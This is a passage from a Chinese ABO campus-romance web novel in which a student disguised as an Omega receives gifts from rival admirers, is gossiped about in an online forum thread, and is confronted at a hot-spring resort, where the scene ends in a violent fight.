不知过了多久,体内的热流渐渐消缓。赵应随的刘海被汗打湿成一绺一绺,几缕碎发贴在赵应随光洁的额头上,艳红色的痣轻轻点缀在泛红的眼尾,眼睫上还挂着几滴落下的汗珠。
吃了些东西补充体力,赵应随随即又被拉入欲海滔天中。
三天后,赵应随的脸上的潮/红退去,体温恢复正常,对于Alpha信息素的渴望也不再强烈。伪装成Omega后的第一次易感期已经过去。
赵应随从床上起身,先把沾有何衷归信息素的外套丢进洗衣机,随后走进浴室,清洗汗涔涔的身体。
浴室里弥漫着水汽,只能听见花洒的水声,朦胧地看见赵应随若隐若现的身影。滚烫的热水从喷头中倾泻而出,赵应随撩开刘海,阖上双眼,让水流沿着清晰的面部轮廓而下,落入精致的锁骨,聚成浅浅的一湾。
洗过澡,三天的疲累一扫而空,赵应随一边擦着头,一边打开关机的手机。
消息弹窗噌噌地弹出,提醒声此起彼伏地响起,手机卡顿了五六秒。绿色的聊天软件上,未读消息的红色数字还在不断地跳升。
赵应随先回了何铭阳和邵祁的信息,随后对其他人的关心表示感谢。连严作凡也给他发来了消息。
滑动页面的手指一顿,赵应随看着聊天头像是烟花的何衷归,心中难得有了些波澜。
聊天记录显示,三天前何衷归就给他发了信息。
何衷归:刚才路过你们教室,怎么不在?
何衷归:。
一天前。
何衷归:何铭阳问我你最近怎么样。
何衷归:有什么要帮忙的告诉我。
何衷归:何铭阳很担心你。
门铃这时响起,赵应随心中一松,把手机倒扣在桌子上。他还没想好怎么回复。
按门铃的是个穿着配送服的Omega,他正低头写着什么,见无人开门,他把箱子放在门口拍了张照,随后就匆匆离开监控范围。
门外无人,赵应随打开门,将几个沉甸甸的箱子抱进宿舍。
不止一个人给赵应随送了东西。最上层的是一个带着雪松花纹的白色礼盒,蜿蜒的枝干做了凸起处理,很是精致。
盒子里装有带着舒缓香味的香薰和几样昂贵的滋补品。一张卡片放在最上面,落款是严作凡。
如果赵应随没记错的话,盒子里的这款香薰是国际香氛大师克洛艾的收山之作,也是她最为得意的一件作品,全球发行仅寥寥数瓶,有价无市,是上流社会无数Omega梦寐以求的臻品。
据为数不多的所有者说,这款香薰有助于平复Omega在发情后波动不安的心情。
赵应随发信息给严作凡:东西收到了,多谢。
严作凡:不客气,希望可以帮到你。【小猫开心.JPG】
赵应随没再回复,拆开第二个布满拉布拉多贴纸的箱子。
唔,是谁送的很明显。
箱子里装着几件被摘了吊牌的睡衣,材质柔软,毛茸茸的,还带着狐狸耳朵。最下面是很多很多的补品,还有十二支对Alpha和Omega通用且于身体无害的抑制剂。
赵应随:【图片】【图片】收到了,谢谢小阳。【小狐狸转圈圈.JPG】
何铭阳:【小狗挠头害羞.JPG】
何铭阳:这款睡衣我特意为你挑的!我觉得特别特别适合你!还有那些补品和抑制剂,我让他们每个月按时给你送。我感觉你最近瘦了。
赵应随失笑,他那里瘦了?
何铭阳:不给你说了,我们班主任jshsgdehev……
看样子何铭阳不会再回复了,赵应随拿起剪刀,打开最后一个包得严严实实的箱子。
箱侧的小孔里里偶尔穿出几声闷响,好像有什么活物在箱子里。
“汪汪!”一颗圆润的黑色脑袋率先伸出来,眨巴眨巴着眼睛,高兴地看着赵应随。
赵应随一愣,小黑?眼看着赵应随没有动作,小黑急切地往外伸着爪子,小小的身形在箱边上摇摇欲坠。
赵应随下意识地抱起小黑,让小黑湿漉漉的舌头舔在他的脖颈处。
宿舍不让进宠物,小黑是怎么进来的?
箱子里和快递单上没有任何有用信息,赵应随注意到小黑脖子上挂着一个吊坠:绿色的挂绳和一块菱形的吊牌。银制的吊牌上刻着小黑的姓名和赵应随的联系方式。
赵应随随着小黑的眼睛,“谁送你来的?”
小黑歪头:?
手机屏幕骤然亮起,短促的提示音搅停了赵应随的思考,答案似乎已经呼之欲出。
邵祁:刚才在上体育课,没看到消息,你身体好点了吗?
赵应随单手打字,编辑好信息正要发送出去,屏幕突然切换到通话界面,他下意识地点击了绿色的接听按钮。
“喂。”低沉磁性的声音隔着屏幕传来。
赵应随:“……何衷归。”
何衷归笑了一声,“是我,东西收到了吗?”
赵应随:“小黑?”
“嗯……是它。”这名字还真是简单粗暴。
“方便告诉我你是怎么把小黑弄进宿舍来的吗?”
“吊牌里的芯片具备屏蔽功能,可以使检测门的检测信号被误导。如果你想带着小黑出去的话,让它闭嘴并带上芯片就可以了。”
原来如此,赵应随的指尖摩挲着银制的吊牌。空气沉寂良久,何衷归也没有挂断电话的意思。
手指温柔地勾勾小黑的下巴,小黑舒服地伸了个懒腰,赵应随嘴角微微上扬,勾出一个温柔的弧度,真心实意地说:“多谢。”
“嗯。”何衷归用他那懒洋洋的声线回复他,尾音消弭,竟然让赵应随品出了几分温柔。
………
【理讨,赵应随到底被谁包养了?】
1L楼主
事先声明,苯人绝对没有嫉妒的意思,纯属理性讨论。随粉先别喷我!我是有证据证明他被包养了的!
2L
哇,楼主好大胆,竟然敢这么说高岭之花
3L
随粉还有三秒钟到达现场,楼主自求多福吧
4L楼主
【图片】【图片】这是在周一早上,我偶然拍到赵应随的照片,你们难道没有发现华点?<
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5L
这腿、这腰、这脸(吸溜———)
6L
不好意思哈,家妻献丑了,我这就带他回去
7L
在奥尔斯顿偶遇赵应随,被颜值硬控一辈子,拼尽全力无法逃离
8L
楼主要奔溃了哈哈哈哈哈,全都是舔颜的
9L
楼主,一张图看不明确,你多发点让我们好好看看
10L楼主
………我真是服了你们了。你们难道没有发现,他这一身都是X家秋季的最新款?他的耳坠和手链是D牌祖师爷的代表作?
11L
这一身真是适合赵应随,把他的冷淡疏离的气质体现的淋漓尽致
12L
同意楼上,我第一次见到有人能把这两个牌子穿出这么超凡脱俗的气质。我们班那个暴发户S,就算是穿了一身奢侈品在身上,也终究不像太子23333
13L
STY?笑死,他知不知道时尚的完成度是靠脸啊?
14L
赵应随那张脸披个麻袋也好看
15L楼主
所以他一个平民怎么可能穿得起奢侈品牌啊!这不明摆着被人包养了吗?而且,我观察他是往宿舍方向走,估计也是怕被人发现自己穿着不符合自身身价的衣服。
16L
万一是A货呢?我对高岭之花的滤镜已经碎了一地了………
17L
赵应随不像是这么爱慕虚荣的人
18L
笑死,不爱慕虚荣?那请问他是怎么在李任声事件里全身而退,吸引了R和Y的注意力,而且加入了那位的社团呢?全靠他的个人魅力吗?可笑,指不定人家心里天天想着攀高枝呢。
19L
楼上的酸味我在这里都闻得见。毫无根据的揣测和臆想只能暴露你内心的贫瘠与不堪,赵应随是什么样的人大家有目共睹,这么优秀正直的人得到他们他人的关注实在是再正常不过。
20L
赵应随的理智粉来了!
21L
看版型和走线,不是A货。补充一点,赵应随的衬衫是Q牌对重要客户的专供,我的昨天刚到货。
22L
楼上竟然是A班的学生……
23L
膜拜A班大佬
24L
那他穿的衣服就不是可以通过钱买到了的……难道真的跟楼主所说的一样吗?有点难受,赵应随这样的人也为金钱而折腰吗?
25L
楼主我用了点我的人脉。赵应随不是请了病假吗,可多人往他宿舍送东西了。【图片】【图片】除了他朋友,会长大人和那位也送了………
26L
那究竟是谁包养了他啊?或许不止一个?
27L
会长大人和那位???我操
28L
赵应随好手段,是怎么做到脚踏好几艘巨船的啊!求开班!
29L
R呢?他不是也对赵应随很感兴趣吗?
30L
歪个楼,难道没有人好奇为什么楼主拍的赵应随这么好看吗?如果楼主真的这么讨厌赵应随的话,会这么注意构图和曝光吗?
31L
确实,图片里的赵应随跟秀场模特一样
32L
楼主belike:我不是,我没有!
33L
哈哈哈,楼上你发现了花生。
34L
楼主出来说两句啊!
35L楼主
怎么可能!我只是碰巧拍到了而已!你们不要瞎说!
36L
刚去楼主主页看了一下,楼主的背景图竟然是赵应随新生入学那天的路人的抓拍
37L
??所以楼主你是粉转黑?
38L
楼主是不是毒唯啊?想通过我们的讨论,抓出来究竟是谁包养了赵应随?然后再……
39L
细思极恐啊,细思极恐………
40L
果然,赵应随的贴子里只有两种人:一种是真爱粉,一种是伪装成黑粉的毒唯。
41L
楼主的空间怎么锁了?
42L
哈哈哈哈被发现了肯定要锁了啊,说不定贴子一会就要被删了
43L看见了好多眼熟的头像,大家下个赵应随的贴子见!
【此贴已被删除!】
19. 第 19 章
阶梯教室里,学生们你一言我一语,像是炸开了锅一样,讨论着贴子里的内容。
一目十行地看完贴子,邵祁熟练地拉黑、举报一条龙。同时拧着眉头微微叹了口气,实在是不懂有些人的脑回路。
“叹什么气?”
邵祁下意识道:“没什……”话音未落,邵祁猛地抬起头,惊喜地:“你回来了!”
赵应随低头看了一眼邵祁紧紧拽住的一小片衣角,随后若无其事地收回目光,声线里带着些安抚:“嗯,我回来了。”
见他们之间如此亲密,四面八方的凝视突然变得尖锐起来。
邵祁松开衣角,眉眼压低,眼神中透露出一股冷峻的寒意,周遭的空气一瞬间变得凝重而滞涩。瞳孔微移,邵祁扫视一圈,直到没人敢再往这边看,才收回了目光。
邵祁冷冽的眼神变得热忱眷恋,他小声道:“身体还有哪里不舒服吗?要不要再休息半天?”
赵应随同样用气声回答他:“没事的。”
顿了顿,邵祁说:“隔离令已经下来了。”
赵应随有些诧异地说:“这么快吗?”
“嗯。”邵祁点点头,“有个律师知道了我的情况,愿意无偿代理。而且……证据充足。”
邵祁自嘲地笑了一声。他身上的淤青伤疤,街坊邻居多年来的耳闻目睹,都是铁证。
赵应随沉稳而温和地说:“那很好。”
“遇到你,我很幸运,”邵祁语气真挚诚恳,手指不自觉地握成拳。
遇见赵应随之后,好像所有事情都迎刃而解。曾经他以为天一般重的要事情,最后也只是轻飘飘地落在肩上。
赵应随随失笑,微微摇头,却未再多言语。
上课铃响,老师走上讲台。他们自然而然地结束了这场对话。
邵祁目不转睛地看着赵应随认真听课的模样,嘴角微微带着笑意,眼神里是浓郁的眷恋。
手机震动,群里有人艾特了他。
邵祁打开黑色企鹅软件。
捞草莓的月亮熊:邵哥,有人看见随宝出现在教室了,他是回来了吗?
SQ:嗯。
七十二小时:哇!!!我的亲亲老婆终于回来了吗?
SQ:不许叫他老婆。
海盐冰淇淋:宝宝看起来怎么样?我这边有点亲戚送的补品,Omega吃了对身体好
SQ:他很好,不需要送。
海盐冰淇淋:好的
回复了几条信息后,邵祁退出群聊界面,把手机放回兜里,趴在桌子上认真地看着赵应随。窗外阳光正好,赵应随的骨相优越,挺拔的鼻梁在侧脸投下一小片阴影。
好像他们关系没有发生任何改变,在他亲吻了赵应随的嘴角之后。
这就够了,邵祁想,能留在他身边,能在视野范围内看到他,能比其他人更亲近他那么一点,这就够了。
有个人影停留的时间太长,邵祁皱眉,带着些许的警示意味向窗外看去。
严作凡身体挺拔如苍松,站立在窗外,静静地看着赵应随,许久,才淡淡地看了一眼邵祁,往下个班走去。
副会长忿忿不平道:“他一个平民,怎么敢这么看您。如果不是您,展律师这么顶级的律师,会免费负责一个平民的案件吗?他以为他有多大脸?完全是会长您看在赵应随的面子上嘛……”
“多嘴。”
副会长立马噤若寒蝉。
他确实没这个资格,严作凡漫不经心地想,不过赵应随不会对邵祁的事视若无睹,与其让赵应随未来分心劳累,还不如由他来解决这件小事。
从初中到现在,副会长能在严作凡身边待了这么多年,成为他最得力的副手,自然有他的过人之处。除了品学兼优、家世显赫这些基本条件外,更是因为副会长能够揣摩出严作凡看似普通的行为后的种种深意。
自从遇到赵应随后,严作凡做了许多令人瞠目结舌的事情,很多时候的决策完全脱离了合理的范畴,只为保护赵应随的利益。
当局者迷,旁观者清。副会长望着严作凡的背影,无可奈何地想,聪明反被聪明误。
严作凡进了办公室,副会长示意其他人可以离开,然后关上门。
严作凡摘下眼镜,露出清俊的眉目,他问到:“你想说什么?”
“您还是这么敏锐,”副会长尴尬地挠头,“事先声明,请您不要生气。”
严作凡没什么表情:“嗯,我不生气,你说吧。”
副会长坐在会客的沙发上,腰挺得笔直,扯了几句无关痛痒的话后,才吞吞吐吐地问:“会长,您有没有觉得,就是……您对赵应随的关注太多了?当然,我也不是说不好,只不过……您思考过您为什么要这么做吗?”
严作凡:“我承认,我确实偏袒他。”
副会长嘴角一抽,您的行为已经不能定义为”偏袒”,而是“偏爱”了。
目光放空,严作凡说:“他跟我认识的Omega都不一样,他很特殊。这样特殊的Omega,奥尔斯顿并不是适合他生长的土壤。
“而我身为学生会会长,有义务保证,每一位学生在奥尔斯顿获得他应有的待遇,仅此而已。”
副会长又重复一遍:“仅此而已吗?”
“仅此而已。”看着严作凡笃定的目光,副会长无奈地叹气,不管怎样,他说服了自己。
“而且,我有喜欢的人。”严作凡话锋一转,“你也不是不知道。”
副会长确实知道一些。
严作凡有个聊了五六年的网友,网名是Random,是个Alpha。Random就跟给严作凡下了某种迷药一样,让严作凡这么个清高骄傲的人迷的神魂颠倒。
据严作凡的偶然提及,这个Random是个话少人狠、知识渊博、家世显赫的直A。
严作凡的手机屏幕亮起,是Random发来的信息,他嘴角带着一丝笑意,示意副会长可以离开了。
Random:抱歉、没回你信息,前两天易感期。
严作凡神经一颤,赵应随的发/情期也是在三天前。无奈地摇摇头,一个是Alpha,一个是Omega,怎么可能是同一个人。
Mortal:没关系呀【小猫亲亲.JPG】
Random:嗯
Mortal:最近讨厌的人倒了霉,我很开心
Random:是那个财团家的二少爷吗?
Mortal:是他,他还用我很看好的一个人来威胁我,我好害怕
Random:嗯?听起来似乎有点严重
Random:不过我相信你能够妥善处理这件事
Mortal:为什么?【小猫疑惑
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Random:从我们认识到现在,你想做的事情都能做成,很厉害【点赞.JPG】
严作凡嘴角微微上扬,心里一边吐槽Random说话很土很直接,一边口嫌体正直地发了个害羞的表情包。
Random总是这样,永远相信他。
严作凡想:等他们的感情再深一点,他就向Random坦白自己Alpha的身份,建立更为亲密的关系。
他怎么可能会喜欢上赵应随呢?竟然连他身边最亲近的人都这么认为。他自始至终喜欢的只有Random一个人。
和Random聊了几句,严作凡就全身心投入道工作里去了。
《12月野外特训方案》
严作凡的笔尖从这几个字上滑过,说是特训,其实也就是组团爬爬山,泡泡温泉罢了。
只不过,青峰山最近的天气似乎不太好。思索片刻,严作凡在右下角签上“待议”两个字。
“你们听说了吗?咱们过两天要去青峰山野外特训!”
男生一脸不屑地看着女生,“什么特训呀,就是去山上逛逛,然后再泡泡温泉。”
“真的吗真的吗?可以泡温泉!”
“当然了,有个温泉山庄,是任二少他家的,咱们免费泡!”
“太好太好了……第一次觉得跟这群贵族做同学这么好。”
任胜寒?赵应随眉心轻拢。自从国庆假期结束,他就再也没见过任胜寒。按照任胜寒不依不饶的性格,他不会这么轻易地放过自己。
表面愈是风平浪静,内里愈是波涛汹涌。
绕过走廊里闲聊的男生女生,赵应随一边思索,一边往前走,突然撞上了一堵坚硬结实的墙。
赵应随抬头,轻轻眨了几下眼睛,“抱歉。”
“没关系,”何衷归有些挪揄地笑,“在想什么这么入神?”
何衷归把A301的门打开,邀请赵应随进来。
赵应随验证自己的猜测,说:“那个经理,是不是被任胜寒收买了。”赵应随在酒吧打工也不是一天两天了,经理如果看他不爽,应该早就发作出来,何必忍这么多天。那天经理突如其来的发难,很明显是故意为之,结合时间点,不难看出是谁的手笔。
何衷归:“是,但不是完全是。”
赵应随静静看着他,何衷归也不着急把话说完。
赵应随:“是他身边的那个人做的。”
“嗯。”何衷归点头,“他的发小,一个叫苏梅的Alpha。”轻晃玻璃杯,金黄色的酒液倒映出何衷归冷峻的面庞。
赵应随:“任胜寒他现在在哪里?”
何衷归挑眉,随意道:“估计在他家某个地窖里受冻吧。”不仅是任胜寒,任家最近的日子也不会好过。
赵应随唇角轻扬,宛如春水潺潺流入心间,“哦,那多谢你们了。”
何衷归身形一滞,随即若无其事道:“光说一句谢谢可不够。”
“那你和小阳想要什么报酬?”赵应随道,“在我能力范围内,我会尽力满足。”
何衷归挑眉,理直气壮地说:“没想好,你先欠着吧。”
赵应随无可奈何:“……好。你这次叫我过来是为来什么?”
“教你洗照片。”看着赵应随明显亮起来的眼睛,何衷归心情也很好。
20. 第 20 章
奥尔斯顿财大气粗,不仅全包了野外特训的衣食住行,而且给每个学生配了专车接送。
将行李放到后备箱,赵应随打开车门,敏锐地向另一边看去,有个人正靠在真皮座椅上阖眼养神,清晨的阳光为他半边脸渡上了一层金色的光。
赵应随有些讶然:“何衷归?”你怎么在这里?
何衷归在听到车门打开的声音时候就已经醒了过来,他懒懒地打了个哈欠,“是我。”
他看向赵应随身后,问到:“你同桌没跟着你?”
赵应随顿了顿,关上车门,“他家里有些事情,请假了。”前几天,邵祁的父亲对法院的隔离令十分不满,联系律师提起上诉,痛斥邵祁心怀不轨,大义灭亲。邵祁的律师通知邵祁务必到场。
何衷归一只手支着下巴点点头,“嗯,我们两个可以做伴。”
隔着不远的距离,何衷归可以清晰地看到赵应随长长的眼睫,耳垂上的那一小颗红痣,还有他唇形优美的薄唇。
何衷归的目光太有存在感。
赵应随抬眼看他,Alpha反而若无其事地勾起嘴角。
A班的人,有的已经提前两天入住温泉山庄,有的今早坐着直升机从学校出发,明摆着不愿意跟平民为伍。
至于何衷归为何要和他一起做伴,何衷归不多说,赵应随也就不问,保持人与人之间的适当的社交距离。
不过,何衷归并不在乎这些,他轻而易举地跨过这约定俗成的距离,理直气壮地走进了他的生活。赵应随和何衷归呆在一起的时间,几乎要和邵祁在一起的时间持平。
教室,食堂,操场,去打工的路上,赵应随并肩而行的除了邵祁,又增加了另一个高大的身影。
邵祁临走之前,就警惕地告诉赵应随:“你要小心何衷归。”
赵应随当然知道何衷归绝非他表现出来的那么无害,见到何衷归的第一眼,他就知道这个Alpha极其自负且桀骜。
只不过一来何衷归是何铭阳的哥哥,二来他和何衷归到还算处得来,赵应随也就默许了何衷归的靠近。只是没想到何衷归这么“粘人”,连爬山也要和他一起。
车平稳地往目的地开去,赵应随打开野外手册,仔细阅读起来,这次特训一共是三天两夜,第一天去温泉山庄,第二天爬青峰山,第三天中午返程。说起特训,更像是高级版的郊游。
青峰山虽然地处偏远,但是开发得不错,山也不算高,爬山全程有经验丰富的导游跟随。
前几年,附近地区的地震波及到青峰山,造成青峰山山体滑坡,经济损失惨痛。这或许也是为什么奥尔斯顿把青峰山当作野外特训的地点,财大气粗的奥尔斯顿可不会亏待了承接方。
车平稳地向前开去,空气十分安静,不过这种安静并不难熬。
待赵应随看完手册,何衷归才慢慢开口道:“要泡温泉吗?”
赵应随想了想,回道:““人太多了。”
“嗯……”何衷归想,他怎么舍得让外人看到赵应随穿着浴衣泡温泉的样子,“凑巧,我有一部分温泉山庄的股份。”言下之意就是,何衷归有邀请他人一起独享温泉的特权。
赵应随木着脸,万恶的有钱人。
他很快收敛了情绪,学着何衷归的强调慢悠悠道:“你是在邀请我吗?何衷归。”
何衷归微怔,随即失笑,故作冷淡道:“是的,小随,我在邀请你。”
互相模仿的行为好幼稚,赵应随在心里这么默默吐槽。
见赵应随不言,何衷归捻起赵应随的几缕发丝,调笑道:“那你会答应我的邀请吗?”
赵应随把头扭过来,淡淡道:“嗯。”
随着赵应随动作,发丝从何衷归的指节上滑走,何衷归把手收回来,不自觉地捻了两下指腹,眼里带着笑意,“好。”
不多时,车便到达了目的地。
将行李从后备箱里拿出来,赵应随和何衷归并肩走入山庄的接待大厅,路上遇到了交通事故,他们的到达时间比预计时间要晚上不少,大多数人已经收拾完毕,换好浴衣泡温泉去了,大厅里只有学生会的寥寥几人在核对信息。
“赵应随,房间号178。”副会长将房卡递给赵应随,关心道:“怎么来得这么晚。”
赵应随将缘由告诉副会长,副会长连连点头,余光止不住往在一旁工作的严作凡身上看去,这下会长大人能放下心了。
严作凡坐在一旁的沙发上,带了副无框眼镜,身旁站着几个Alpha,不时低声询问他些什么,俨然一副认真工作的模样,只是散发的气场冻得人战战兢兢。
幸好赵应随来了。
气氛回温,副会长浑身一松,把目光投向赵应随身旁带着口罩的男生,没怎么过脑袋地问:“同学,你的名字呢?”
何衷归纡尊降贵地回答:“何衷归。”
一道白色的闪电劈中副会长的脑袋,他颤颤巍巍地说:“何、何少。”天,他就说这Alpha看着怎么有点眼熟,这祖宗怎么和赵应随一起来的啊?!
严作凡坐在沙发上纹丝不动,看起来全身心进入了工作状态,只是雪白的纸页上,多了一团漆黑的墨痕。严作凡周围工作的Alpha们面面相觑,一时不敢多言。
气氛突然微妙起来,副会长不敢让他们在此多留,于是带着假笑说:“何少,赵同学,顺着这边直走,沿着指示牌就可以到达温泉区,你们好好享受哈。”
副会长对何衷归这个态度,赵应随倒不意外,身旁Alpha的风评似乎不怎么样,大部分人见了他就跟老鼠见了猫似的,连名字都不敢直呼。嗯……这个地位待遇,伏地魔?
赵应随点头,“嗯。”
何衷归:“多谢,我们会好好享受的。”
晴天霹雳,副会长想死的心都有了,这是什么前台和来度蜜月的小情侣之间的对话啊。
严作凡毫无征兆地站起来,在周围所有人的目送下,往赵应随三人的方向走去,步子不徐不疾,似乎没有被影响到半点。
嘴角上扬一个像素点的弧度,严作凡温柔地看着赵应随,用一种十分轻柔的语气说:“送你的香薰用着还习惯吗?”
香薰的味道淡雅好闻,带着清新的茉莉花香,坦白来讲,如果他是一个Omega的话,他一定会很喜欢。不过现在,也没必要拂了严作凡的好意。<
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p>沉吟片刻,赵应随十分客气地说:“挺好闻的,多谢。”
严作凡嘴角轻扬,用指节推了下眼睛,“你已经说过谢谢了,你我之间无需这么客气。用完了告诉我,我再给你送一些。”
话里话外,亲昵之意尽显。
低头看了一眼腕表,严作凡提议道:“这个时间,公共温泉区里的人应该不会少,不过山庄给学生会单独留了几处温泉,你要不要和我们一起?”
何衷归挑眉,单手插兜,似笑非笑地看着严作凡。严作凡视若无睹,安静等待赵应随的答复。
赵应随面带歉意地婉拒:“抱歉严会长,我已经有约了。”
有约了?副会长嘴角一抽。
何衷归抬起小臂,面对着严作凡露出表盘,用一种所有人都能听见却又不过于大声的音量说:“时间不早了,严会长,我们就先失陪了。”
有什么碎掉的声音。
我幻听了?
赵应随看向周围,何衷归和严作凡剑拔弩张地对峙着,眼神交汇处火花噼里啪啦,唯一接收到他眼神信号的副会长,对着他露出一个似哭非哭的微笑。
赵应随:……
拉了一下何衷归的衣袖,赵应随对严作凡礼貌道:“严会长,我们先去收拾行李了。”
何衷归低头看了一眼赵应随的手指,炸起的毛一下子被捋平,他浑身一松,神情愉悦,嘴角弯起一个不易被察觉的弧度。
严作凡的身体一僵,尖锐冰冷的神情瞬间瓦解,取而代之的是赵应随熟悉的春风拂面,“好,有什么需要的及时联系我。”
“我会的。”赵应随随口答应着,带着何衷归往电梯方向走去。
严作凡站在他们身后,目视着他们两人的身影消失不见。
真稀奇啊,何衷归,何大少爷也有这么温顺听话的一天吗?只不过被人轻轻拉住了衣袖,Alpha就好像被拽着狗链的狗一样,收敛了野性与浑身的尖锐,亦步亦趋地跟在主人后面。
还真是……
意味不明地冷笑了一声,严作凡转身回到沙发上,冷冷道:“继续你的汇报。”
只是为什么,他的心绪依旧翻涌难平,就好像洁白无瑕的珍珠混合在流沙之间,逝于掌心。
………
日式的温泉山庄里大多数是木质建筑,光泽温润,周边枫树成林,偶有几片红色的枫叶落在庭院里的白沙上。几盏样式古朴的灯笼挂在房前,上面画着粉红色的樱花和几句日文书写的俳句。
穿着和服的服务生停下脚步,面带微笑地说:“先生,您的房间到了。待您收拾完毕后,我带您和何先生汇合。”
在确认赵应随没有其他吩咐后,服务生安静地退出走廊,站在庭院门口等待。
赵应随拉开木门,走入房间。主色调是自然柔和的原木调,亚麻质地的被褥散发着温暖的阳光味道,榻榻米旁边木质的矮几上,一瓶清酒静静伫立,几个精致小巧的瓷质被子环绕着酒瓶。
不错,干净整洁。
赵应随把行李一一摆放好,打开木质柜门,准备换上浴衣和何衷归汇合。
在看清挂着的几件浴衣后,赵应随神情古怪。
21. 第 21 章
衣柜里,两件浴衣静垂在其中。
左边的那件,以白色为主调,布料是顶级的纯棉,触感柔软亲肤,领口和袖口处,用细线勾勒出流云的暗纹,配了一条矢车菊蓝的腰带。
右边的那件就要张扬的多,布料比纯棉要硬一些,主色黑色,衣服下摆和领口处,几朵红色虞美人错落着排列。
这两件浴衣的风格迥然,大概是为不同喜好的客人准备的吧。赵应随在心底给山庄周到的服务点了个赞,拿出左边白色的浴衣换上。
服务生站在庭院门口,一直留意着房间门口的动静。一瞧见赵应随出了门,服务生垂着头小步快速走到赵应随面前,面上带着谦逊的神情,可在抬头的一瞬间,眼中的惊艳之意难掩。不过他收敛了情绪,恭敬道:“赵先生,请您随我来。”
赵应随点头,“好。”
沿着石板小径前行,穿过一扇扇的木质拱门,一路上不时有服务生低头问好。
赵应随离开后,服务生们窃窃私语,小声议论着赵应随出尘的容貌。
“我还是第一次见这么美的客人。”
“是啊,今天真是大饱眼福了。”
两个服务生们这样赞叹着,浑然不知在精心修剪的松柏的遮掩下,严作凡站在她们身后,看向赵应随离去的方向,指尖陷入粗糙的树皮中,每一根手指都在用力,手背的皮肤因用力而青筋凸起。
他要去和何衷归一起泡温泉吗?他们会聊些什么?他么会做什么?
不对,AO有别,何衷归怎么能这么轻浮邀请他一起泡温泉?
副会长找了严作凡许久,才终于在一个不起眼的角落里找到了会长大人的身影。
“会长,您可让我好找,怎么跑这里来了?”副会长气喘吁吁地问。
方才会议间隙,严作凡不知看到了什么,眼神一凝,便一反常态地撂下会议,急匆匆地跑出来。
严作凡收回手,指尖因用力而发红,掌心上刻印着树干蜿蜒的纹理,他面无表情地说:“没什么,回去吧。”这一切与他无关。
行至中途,严作凡突然问道:“Alpha邀请Omega一起泡温泉,于情于理,合适吗?”
副会长心道果然如此,会长大人还是很介意这件事啊,于是他郑重地回答道:“于情于理都不合适,特别是在只有Alpha和Omega两个人的情况下。会长您是不知道,好多公子哥都喜欢在温泉里对Omega动手动脚。万一这个Omega再是个没什么见识的平民,那下场就更惨了。”
松了一口气,严作凡紧皱的眉头终于放松下来,他反问道:“真的?”
副会长连连点头,“真的真的。”
身为学生会会长,他不能对这种潜在的风险置之不理。想明白这些后,严作凡转身往回走。副会长跟在他身后,心里长舒一口气。
在一扇竹门前停下,服务生恭敬道:“赵先生,路已经带到,我就先退下了。”
赵应随礼貌道:“谢谢。”
“您客气了。”临走前,服务生眼神复杂地看了一眼赵应随出挑的身影,无声地扼腕叹息。
赵应随推开竹门。正中央是一个巨大的泡池,由天然石材砌成,边缘打磨得圆润光滑。池内,温泉水清澈见底,水面上有几个盛着水果和酒瓶的竹盘,水汽氤氲,空气中弥漫着淡淡的硫磺气息。
泡池旁栽着几棵枫树,枝头的枫叶如火焰般艳红,有几片枫叶打着旋落入水中,漾起微小的涟漪。
有一只骨节分明的大手接住了一片落叶,拿到眼前仔细端详着,不过几秒,便漫不经心地撂在一边。
“哦?我还以为你见到我会很意外呢?”任胜寒一只手支着头,懒洋洋地问。
他坐在泡池最里面,上半身赤裸,线条深刻的腹肌清晰可见。
一片枫叶悄然飘落在头上,赵应随轻轻拿下,没什么表情地说:“山庄是你家的产业,在这里见到你有什么可意外的?”
“呵呵……”任胜寒止不住地闷笑起来,胸腔震动。就是这副样子,任胜寒想,这幅万事不入他眼的样子,激发了他的征服欲。
这样的Omega,在床上也一定很带劲。任胜寒在脑海里描摹着赵应随微红的眼角,颇为得意地笑。
赵应随一言难尽地地看着任胜寒,自从他进来后,任胜寒的嘴角一直都没下来过,泡温泉泡傻了吗?
打量了一圈四周,赵应随默默在心里计划着打晕任胜寒后的逃跑路线,这个竹墙……嗯,不算高。
涟漪圈圈散开,任胜寒把小臂放在距离赵应随最近的石头上,上下打量赵应随,有些不满道:“怎么没穿那件黑色的浴衣?”
赵应随:“……”原来是你放的浴衣,还真是蓄谋已久。
见赵应随一言不发,任胜寒推测道:“你不喜欢这个颜色?”
“还行吧。”赵应随漫不经心地回复,往后退了几步,默默拉开两人的距离。
任胜寒用手撩开头发,露出光洁的额头,闷笑一声,“我不是这个意思,你穿什么都好看。”
?赵应随又退了两步,他跟这人的脑电波完全接不上。
见状,任胜寒站起来,离开泡池,在赵应随身前站定。他们之间离得很近,赵应随能感知到任胜寒皮肤散发出阵阵热气。
“别走啊,门外全是我的人,你走不了的,”任胜寒递出一只手,语气里带着几分玩味和危险,“赵应随,做我的情人。”
赵应随打量着任胜寒粗壮有力的手臂,心里默默盘算从哪里下手能让他骨折的时候更痛一点。
见赵应随不语,任胜寒加大了筹码,“何衷归和严作凡能给你的,我照样能给你,我保证,你会是我唯一的情人。”
“哦?”
一声裹挟着的怒火冷笑打破了凝滞的空气。
任胜寒还没来得及做出反应,就被突如其来的一拳打倒在地。
“砰!”任胜寒的身体与坚硬的石面剧烈碰撞,发沉闷声响。任胜寒头脑发昏,胸腔中气血翻涌。还没等他缓过神,一只脚已重重踩上他的喉管。
何衷归不知何时已欺身而上,居高临下地俯视着他,眼中寒芒毕露。
“任胜寒,看来你还是没有得到教训。”一字一句间,何衷归脚上的力气逐渐加重,任胜寒的呼吸愈发困难。
“咳咳……”任胜寒的命脉被人踩在脚下,却依旧笑的张狂,“是我的,终究会是我的。就算你和严作凡联手又怎么样?你以为任家会怕你们吗?我告诉你,赵应随早晚是我的囊中之物。”
何衷归眼角微微眯起,原本充斥着怒意的眼眸,瞬间被寒雾笼罩,幽深凛冽,如同
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无底的深渊。
杀了他吧,何衷归冷静地想。
任胜寒的脸庞因缺氧而迅速泛起诡异的红色,身体如同濒死的鱼,剧烈地挣扎着,每一寸肌肤都在渴求着氧气。
“够了。”赵应随目光漠然地看着,任胜寒脸色变得惨白,眼神失去光泽而变得空洞,手掌无力地垂在地面上。
“什么?”何衷归看向赵应随,瞳孔微微收缩,如同狼王捕猎前锁定猎物,带着嗜血的危险。
赵应随不语,缓缓垂眸,目光落在何衷归垂在身侧的手上,指节分明,鲜血不断从突出的骨节上落下。
他知道,这些血来自任胜寒的人。
赵应随用掌心托起何衷归的手,拿出一方手帕,轻轻擦拭手背上的殷红的血液。
